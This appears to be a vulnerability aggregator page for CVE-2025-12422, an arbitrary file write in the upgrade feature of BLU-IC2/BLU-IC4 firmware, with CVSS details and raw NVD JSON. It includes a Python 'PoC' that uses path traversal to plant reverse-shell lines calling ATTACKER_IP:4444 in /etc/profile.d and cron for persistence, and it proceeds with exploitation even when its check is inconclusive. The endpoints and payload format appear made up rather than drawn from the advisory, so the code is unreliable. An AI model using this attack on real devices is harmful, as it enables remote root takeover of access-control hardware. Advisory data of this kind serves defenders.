Security Vulnerability Report
中文
CVE-2025-12422 CVSS 9.8 CRITICAL

CVE-2025-12422

Published: 2025-10-28 18:15:37
Last Modified: 2025-11-07 14:55:47
Source: a0340c66-c385-4f8b-991b-3d05f6fd5220

Description

Vulnerable Upgrade Feature (Arbitrary File Write) may lead to obtaining super user permissions on board.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:azure-access:blu-ic2:*:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:* - NOT VULNERABLE
BLU-IC2 <= 1.19.5
BLU-IC4 <= 1.19.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12422 PoC - BLU-IC2/BLU-IC4 Arbitrary File Write via Upgrade Feature # This PoC demonstrates the arbitrary file write vulnerability in BLU-IC2/BLU-IC4 upgrade mechanism import requests import json import sys TARGET_HOST = "http://target-device-ip" # Replace with target device IP CVE_ID = "CVE-2025-12422" def exploit_arbitrary_file_write(): """ Exploit the vulnerable upgrade feature to write arbitrary files This PoC writes a reverse shell script to /etc/profile.d/ for persistence """ # Malicious firmware payload with path traversal # Writing to /etc/profile.d/ to execute reverse shell on login malicious_payload = { "firmware_version": "1.19.5", "file_content": "#!/bin/sh\n# Injected by CVE-2025-12422\n/bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1", "target_path": "../../../../etc/profile.d/revshell.sh" # Path traversal } # Alternative: Write to crontab for persistence cron_payload = { "firmware_version": "1.19.5", "file_content": "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'", "target_path": "../../../../etc/cron.d/malicious_cron" } print(f"[*] Exploiting {CVE_ID}") print(f"[*] Target: {TARGET_HOST}") # Step 1: Trigger upgrade feature with malicious payload upgrade_url = f"{TARGET_HOST}/api/upgrade" try: print("[*] Sending malicious upgrade request...") response = requests.post( upgrade_url, files={'firmware': json.dumps(malicious_payload)}, timeout=10 ) if response.status_code == 200: print("[+] Malicious file written successfully!") print("[*] Waiting for device restart or next login...") print("[*] Set up listener: nc -lvnp 4444") return True else: print(f"[-] Failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def check_vulnerability(): """Check if target is vulnerable""" print(f"[*] Checking vulnerability for {CVE_ID}") # Check device info endpoint info_url = f"{TARGET_HOST}/api/device/info" try: response = requests.get(info_url, timeout=10) if response.status_code == 200: data = response.json() version = data.get('version', 'unknown') model = data.get('model', 'unknown') print(f"[*] Device: {model}, Version: {version}") # Check if version is affected (version <= 1.19.5) if version <= '1.19.5' and model in ['BLU-IC2', 'BLU-IC4']: print("[+] Device is VULNERABLE!") return True else: print("[-] Device may not be vulnerable") return False except: print("[-] Could not determine vulnerability status") return None if __name__ == "__main__": print(f"={'='*60}") print(f"PoC for {CVE_ID}") print(f"BLU-IC2/BLU-IC4 - Arbitrary File Write via Upgrade Feature") print(f"={'='*60}\n") # First check if vulnerable is_vulnerable = check_vulnerability() if is_vulnerable: print("\n[*] Proceeding with exploitation...") exploit_arbitrary_file_write() elif is_vulnerable is None: print("\n[*] Proceeding with exploitation anyway...") exploit_arbitrary_file_write()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12422", "sourceIdentifier": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "published": "2025-10-28T18:15:36.697", "lastModified": "2025-11-07T14:55:47.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerable Upgrade Feature (Arbitrary File Write) may lead to obtaining super user permissions on board.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5."}], "metrics": {"cvssMetricV40": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "00BF15A1-C965-4601-83E9-8617B86E833A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic2:*:*:*:*:*:*:*:*", "matchCriteriaId": "C898C110-6C42-40A0-93FC-B6ED785F23A9"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "6493C6E4-1304-4B28-A6C5-37CE2D1EAE46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:*", "matchCriteriaId": "902CD787-42BF-4565-8CA5-78123E37AA99"}]}]}], "references": [{"url": "https://azure-access.com/security-advisories", "source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "tags": ["Vendor Advisory"]}]}}